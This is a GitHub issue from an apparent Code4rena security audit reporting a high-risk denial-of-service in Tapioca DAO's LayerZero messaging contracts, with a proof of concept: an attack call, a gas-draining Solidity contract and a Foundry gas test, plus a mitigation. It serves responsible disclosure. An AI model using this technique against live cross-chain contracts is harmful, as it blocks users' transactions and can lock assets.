Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Attacker can block LayerZero channel due to variable gas cost of saving payload #1220

Open
code423n4 opened this issue Aug 4, 2023 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working edited-by-warden H-16 primary issue Highest quality submission among a set of duplicates selected for report This submission will be included/highlighted in the audit report sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity")

Comments

@code423n4
Copy link
Contributor

code423n4 commented Aug 4, 2023

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52

Vulnerability details

Impact

This is an issue that affects BaseUSDO, BaseTOFT, and BaseTapOFT or all the contracts which are sending and receiving LayerZero messages.
The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.

Proof of Concept

I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s sendToYAndBorrow.
This function allows the user to mint/borrow USDO with some collateral that is wrapped in a TOFT and gives the option of transferring minted USDO to another chain.

The attack starts by invoking sendToYBAndBorrow which delegate calls into BaseTOFTMarketModule.
If we look at the implementation inside the BaseTOFTMarketModule nothing is validated there except for the lzPayload which has the packetType of PT_YB_SEND_SGL_BORROW.

The only validation of the message happens inside the LzApp with the configuration which was set.
What is restrained within this configuration is the payload size, which if not configured defaults to 10k bytes.

The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend implementation.
I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.

I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.

To execute the attack we need to pass the following parameters to the function mentioned above:

    function executeAttack() public {
        address tapiocaOFT = makeAddr("TapiocaOFT-AVAX");
        tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}(
            address from => // malicious user address
            address to => // malicious user address
            lzDstChainId => // any chain lzChainId
            bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration
            ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything
            ICommonData.IWithdrawParams calldata withdrawParams, // can be anything
            ICommonData.ISendOptions calldata options, // can be anything
            ICommonData.IApproval[] calldata approvals // Elaborating on this below
        )
    }

ICommonData.IApproval[] calldata approvals are going to be fake data so max payload size limit is reached(10k). The target of the 1st approval in the array will be the GasDrainingContract deployed on the receiving chain and the permitBorrow = true.

    contract GasDrainingContract {
        mapping(uint256 => uint256) public storageVariables;
    
        function permitBorrow(
            address owner,
            address spender,
            uint256 value,
            uint256 deadline,
            uint8 v,
            bytes32 r,
            bytes32 s
        ) external {
            for (uint256 i = 0; i < 100000; i++) {
                storageVariables[i] = i;
            }
        }
    }

Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.

  1. Transaction is successfully received inside the lzReceive after which it reaches _blockingLzReceive.

  2. This is the first external call and according to EIP-150 out of 1 million gas:

    • 63/64 or ~985k would be forwarded to the external call.
    • 1/64 or ~15k will be left for the rest of the execution.
  3. The cost of saving a big payload into the failedMessages and emitting events is higher than 15k.
    When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

contract FailedMessagesTest is Test {

    mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;

    event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);

    function setUp() public {}

    function testFMessagesGas() public {
        uint16 srcChainid = 1;
        bytes memory srcAddress = abi.encode(makeAddr("Alice"));
        uint64 nonce = 10;
        bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes
        bytes memory reason = getDummyPayload(2);

        uint256 gasLeft = gasleft();
        _storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason);
        emit log_named_uint("gas used", gasLeft - gasleft());
    }


    function _storeFailedMessage(
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload,
        bytes memory _reason
    ) internal virtual {
        failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
        emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
    }

    function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
        bytes memory payload = new bytes(payloadSize);
        for (uint256 i = 0; i < payloadSize; i++) {
            payload[i] = bytes1(uint8(65 + i));
        }
        return payload;
    }
}
  • If the payload is 9999 bytes the cost of saving it and emitting the event is 131k gas.
  • Even with a smaller payload of 500 bytes the cost is 32k gas.
  1. If we can drain the 985k gas in the rest of the execution since storing failedMessages would fail the pathway would be blocked because this will fail at the level of LayerZero and result in StoredPayload.

  2. Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for _nonblockingLzReceive the _executeOnDestination is invoked for the right packet type and there we have another external call which delegatecalls into the right module.
    Since it is also an external call only 63/64 gas is forwarded which is roughly:

    • 970k would be forwarded to the module
    • 15k reserved for the rest of the function
  3. This 970k gas is used for borrow, and it would be totally drained inside our malicious GasDraining contract from above, and then the execution would continue inside the executeOnDestination which also fails due to 15k gas not being enough, and finally, it fails inside the _blockingLzReceive due to out of gas, resulting in blocked pathway.

Tools Used

  • Manual review
  • Foundry

Recommended Mitigation Steps

_executeOnDestination storing logic is just code duplication and serves no purpose.
Instead of that you should override the _blockingLzReceive.

Create a new storage variable called gasAllocation which can be set only by the owner and change the implementation to:

(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));

While ensuring that gasleft() > gasAllocation in each and every case. This should be enforced on the sending side.

Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation needs to be big enough to cover storing max payload size.

Other occurrences

This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:

BaseTOFT

BaseUSDO

BaseTapOFT

Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens) there are no reverts in case the rewardToken is
invalid we can execute the gas draining attack inside the sendFrom
whereby rewardTokens[i] is our malicious contract.

Assessed type

DoS

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Aug 4, 2023
code423n4 added a commit that referenced this issue Aug 4, 2023
@c4-pre-sort
Copy link

minhquanym marked the issue as primary issue

@c4-pre-sort c4-pre-sort added the primary issue Highest quality submission among a set of duplicates label Aug 9, 2023
@c4-sponsor c4-sponsor added the sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") label Sep 1, 2023
@c4-sponsor
Copy link

0xRektora (sponsor) confirmed

@c4-judge
Copy link

dmvt marked the issue as selected for report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working edited-by-warden H-16 primary issue Highest quality submission among a set of duplicates selected for report This submission will be included/highlighted in the audit report sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity")
Projects
None yet
Development

No branches or pull requests

5 participants